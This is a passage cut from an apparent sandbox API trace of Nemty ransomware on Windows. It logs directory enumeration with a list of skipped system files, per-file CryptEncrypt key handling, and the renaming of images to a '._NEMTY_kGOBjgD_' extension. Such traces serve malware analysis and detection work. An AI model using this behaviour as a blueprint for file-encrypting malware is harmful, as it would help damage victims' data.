lpOverlapped=0x0) returned 0 [0111.405] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52281554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0111.405] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0111.405] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52441554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0111.405] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0111.414] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52441554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0111.414] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0111.414] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52601554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0111.414] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0111.423] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52601554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0111.423] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0111.423] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52761554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0111.423] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0111.433] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52761554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0111.433] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0111.433] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52921554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0111.433] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0111.442] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52921554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0111.442] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0111.442] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0111.442] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x19000, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0111.448] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0111.448] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0111.448] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=106060708, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0111.448] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x19000, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0111.454] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=106060708, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0111.454] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0111.454] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=106163108, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0111.454] WriteFile (in: hFile=0xffffffff, lpBuffer=0x63403b0, nNumberOfBytesToWrite=0x167, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0111.454] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6351c48 | out: hHeap=0x4f90000) returned 1 [0111.454] CloseHandle (hObject=0xffffffff) returned 0 [0111.454] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xb0) returned 0x6340520 [0111.454] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 16 [0111.454] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ece0 [0111.454] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x4f9ece0, cchWideChar=16 | out: lpWideCharStr="_NEMTY_kGOBjgD_") returned 16 [0111.454] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed30 [0111.454] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ece0 | out: hHeap=0x4f90000) returned 1 [0111.454] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xb0) returned 0x6343fe8 [0111.454] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x106) returned 0x63440a0 [0111.454] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6343fe8 | out: hHeap=0x4f90000) returned 1 [0111.454] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed30 | out: hHeap=0x4f90000) returned 1 [0111.454] MoveFileW (lpExistingFileName="C:\\Program Files\\Windows Sidebar\\Gadgets\\Calendar.Gadget\\images\\calendar_double.png" (normalized: "c:\\program files\\windows sidebar\\gadgets\\calendar.gadget\\images\\calendar_double.png"), lpNewFileName="C:\\Program Files\\Windows Sidebar\\Gadgets\\Calendar.Gadget\\images\\calendar_double.png._NEMTY_kGOBjgD_" (normalized: "c:\\program files\\windows sidebar\\gadgets\\calendar.gadget\\images\\calendar_double.png._nemty_kgobjgd_")) returned 0 [0111.454] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x63440a0 | out: hHeap=0x4f90000) returned 1 [0111.454] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340520 | out: hHeap=0x4f90000) returned 1 [0111.455] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f93620 | out: hHeap=0x4f90000) returned 1 [0111.455] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x63403b0 | out: hHeap=0x4f90000) returned 1 [0111.455] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348ed8 | out: hHeap=0x4f90000) returned 1 [0111.455] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348d60 | out: hHeap=0x4f90000) returned 1 [0111.455] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed08 | out: hHeap=0x4f90000) returned 1 [0111.455] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x63402f8 | out: hHeap=0x4f90000) returned 1 [0111.455] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0111.455] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0111.455] FindNextFileW (in: hFindFile=0x3423a70, lpFindFileData=0x653ecc8 | out: lpFindFileData=0x653ecc8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x824aa72c, ftCreationTime.dwHighDateTime=0x1ca0403, ftLastAccessTime.dwLowDateTime=0x824aa72c, ftLastAccessTime.dwHighDateTime=0x1ca0403, ftLastWriteTime.dwLowDateTime=0x28266257, ftLastWriteTime.dwHighDateTime=0x1c9ea0e, nFileSizeHigh=0x0, nFileSizeLow=0xbc1, dwReserved0=0x344c1f0, dwReserved1=0x0, cFileName="calendar_double_bkg.png", cAlternateFileName="")) returned 1 [0111.455] lstrcmpiW (lpString1="calendar_double_bkg.png", lpString2=".") returned 1 [0111.455] lstrcmpiW (lpString1="calendar_double_bkg.png", lpString2="..") returned 1 [0111.455] lstrcmpiW (lpString1="calendar_double_bkg.png", lpString2="...") returned 1 [0111.455] lstrcmpiW (lpString1="calendar_double_bkg.png", lpString2="windows") returned -1 [0111.455] lstrcmpiW (lpString1="calendar_double_bkg.png", lpString2="$RECYCLE.BIN") returned 1 [0111.455] lstrcmpiW (lpString1="calendar_double_bkg.png", lpString2="rsa") returned -1 [0111.455] lstrcmpiW (lpString1="calendar_double_bkg.png", lpString2="NTDETECT.COM") returned -1 [0111.455] lstrcmpiW (lpString1="calendar_double_bkg.png", lpString2="ntldr") returned -1 [0111.455] lstrcmpiW (lpString1="calendar_double_bkg.png", lpString2="MSDOS.SYS") returned -1 [0111.455] lstrcmpiW (lpString1="calendar_double_bkg.png", lpString2="IO.SYS") returned -1 [0111.455] lstrcmpiW (lpString1="calendar_double_bkg.png", lpString2="boot.ini") returned 1 [0111.455] lstrcmpiW (lpString1="calendar_double_bkg.png", lpString2="boot.ini") returned 1 [0111.455] lstrcmpiW (lpString1="calendar_double_bkg.png", lpString2="AUTOEXEC.BAT") returned 1 [0111.455] lstrcmpiW (lpString1="calendar_double_bkg.png", lpString2="ntuser.dat") returned -1 [0111.455] lstrcmpiW (lpString1="calendar_double_bkg.png", lpString2="desktop.ini") returned -1 [0111.455] lstrcmpiW (lpString1="calendar_double_bkg.png", lpString2="CONFIG.SYS") returned -1 [0111.455] lstrcmpiW (lpString1="calendar_double_bkg.png", lpString2="RECYCLER") returned -1 [0111.455] lstrcmpiW (lpString1="calendar_double_bkg.png", lpString2="BOOTSECT.BAK") returned 1 [0111.455] lstrcmpiW (lpString1="calendar_double_bkg.png", lpString2="bootmgr") returned 1 [0111.455] lstrcmpiW (lpString1="calendar_double_bkg.png", lpString2="programdata") returned -1 [0111.455] lstrcmpiW (lpString1="calendar_double_bkg.png", lpString2="appdata") returned 1 [0111.455] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x30) returned 0x6345608 [0111.455] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="calendar_double_bkg.png", cchWideChar=23, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 23 [0111.455] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0111.455] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="calendar_double_bkg.png", cchWideChar=23, lpMultiByteStr=0x4f9ecb8, cbMultiByte=23, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="calendar_double_bkg.png", lpUsedDefaultChar=0x0) returned 23 [0111.455] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0111.455] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x30) returned 0x6345640 [0111.455] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="calendar_double_bkg.png", cchWideChar=23, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 23 [0111.456] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0111.456] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="calendar_double_bkg.png", cchWideChar=23, lpMultiByteStr=0x4f9ecb8, cbMultiByte=23, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="calendar_double_bkg.png", lpUsedDefaultChar=0x0) returned 23 [0111.456] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0111.456] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345640 | out: hHeap=0x4f90000) returned 1 [0111.456] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345608 | out: hHeap=0x4f90000) returned 1 [0111.456] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x30) returned 0x6345608 [0111.456] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="calendar_double_bkg.png", cchWideChar=23, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 23 [0111.456] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0111.456] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="calendar_double_bkg.png", cchWideChar=23, lpMultiByteStr=0x4f9ecb8, cbMultiByte=23, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="calendar_double_bkg.png", lpUsedDefaultChar=0x0) returned 23 [0111.456] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345608 | out: hHeap=0x4f90000) returned 1 [0111.456] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x30) returned 0x6345608 [0111.456] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="calendar_double_bkg.png", cchWideChar=23, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 23 [0111.456] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0111.456] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="calendar_double_bkg.png", cchWideChar=23, lpMultiByteStr=0x4f9ed58, cbMultiByte=23, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="calendar_double_bkg.png", lpUsedDefaultChar=0x0) returned 23 [0111.456] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345608 | out: hHeap=0x4f90000) returned 1 [0111.456] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xb0) returned 0x63402f8 [0111.456] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340240 | out: hHeap=0x4f90000) returned 1 [0111.456] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xb0) returned 0x6340198 [0111.456] Sleep (dwMilliseconds=0x5) [0111.460] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653eae4 | out: lpSystemTimeAsFileTime=0x653eae4*(dwLowDateTime=0xf6150510, dwHighDateTime=0x1d561e7)) [0111.460] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653eae4 | out: lpSystemTimeAsFileTime=0x653eae4*(dwLowDateTime=0xf6150510, dwHighDateTime=0x1d561e7)) [0111.460] GetLastError () returned 0x5 [0111.460] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345da8 [0111.460] GetLastError () returned 0x5 [0111.460] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed08 [0111.460] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345da8 | out: hHeap=0x4f90000) returned 1 [0111.460] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed30 [0111.460] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x653e920*=0x0, dwBufLen=0x0 | out: pbData=0x0*, pdwDataLen=0x653e920*=0x100) returned 1 [0111.460] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x653e924*, pdwDataLen=0x653e910*=0x10, dwBufLen=0x100 | out: pbData=0x653e924*, pdwDataLen=0x653e910*=0x100) returned 1 [0111.460] CryptBinaryToStringA (in: pbBinary=0x653e924, cbBinary=0x100, dwFlags=0x1, pszString=0x0, pcchString=0x653e91c | out: pszString=0x0, pcchString=0x653e91c) returned 1 [0111.460] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x165) returned 0x63403b0 [0111.460] CryptBinaryToStringA (in: pbBinary=0x653e924, cbBinary=0x100, dwFlags=0x1, pszString=0x63403b0, pcchString=0x653e91c | out: pszString="Unh7nccYRQv315jWv1ppH5SYaTNyzQ8EVceEDsewSPCnsvnsgz15XISRsOmUJxjW\r\nYU2uEgRr5MQ1GKnnLhSteRllFZx6QKnp0GaitSt+eElZPjh4oQap+bDBBjwIc00i\r\nTOKVryQxQrC+kLS0acGYCeINvjyUMzZ2Wcbjc9HP82HEFh5zhRZ2umTU2720gRti\r\nmQgBtxKb31mvCIEO/4tdOwv989575bBDkSESD4EriUnQYyjQO7t9PDkXPlmD+z0z\r\ntjtXzK2ac8RCBT2GtuKKf3XHoJmDpQjJi1yCqEj7mWuarVstrLdyvOx2NfQZ3OcK\r\nGVuWSbvql6YdR9UNaUdXeQ==\r\n", pcchString=0x653e91c) returned 1 [0111.460] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6348d60 [0111.460] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x63403b0 | out: hHeap=0x4f90000) returned 1 [0111.460] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed30 | out: hHeap=0x4f90000) returned 1 [0111.460] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x10) returned 0x4f93620 [0111.460] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x167) returned 0x63403b0 [0111.460] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6348ed8 [0111.460] CreateFileW (lpFileName="C:\\Program Files\\Windows Sidebar\\Gadgets\\Calendar.Gadget\\images\\calendar_double_bkg.png" (normalized: "c:\\program files\\windows sidebar\\gadgets\\calendar.gadget\\images\\calendar_double_bkg.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0111.461] GetFileSizeEx (in: hFile=0xffffffff, lpFileSize=0x653eb70 | out: lpFileSize=0x653eb70*=18150282790955940) returned 0 [0111.461] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x27100) returned 0x6351c48 [0111.461] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51481554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0111.461] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0111.470] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51481554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0111.470] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0111.470] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51641554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0111.470] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0111.479] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51641554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0111.480] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0111.480] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51801554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0111.480] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0111.489] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51801554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0111.489] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0111.489] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51961554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0111.489] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0111.498] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51961554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0111.498] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0111.498] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52121554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0111.499] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0111.508] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52121554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0111.508] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0111.508] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52281554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0111.508] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0111.517] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52281554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0111.517] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0111.517] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52441554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0111.517] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0111.527] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52441554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0111.527] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0111.527] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52601554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0111.527] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0111.536] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52601554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0111.536] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0111.536] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52761554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0111.536] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, 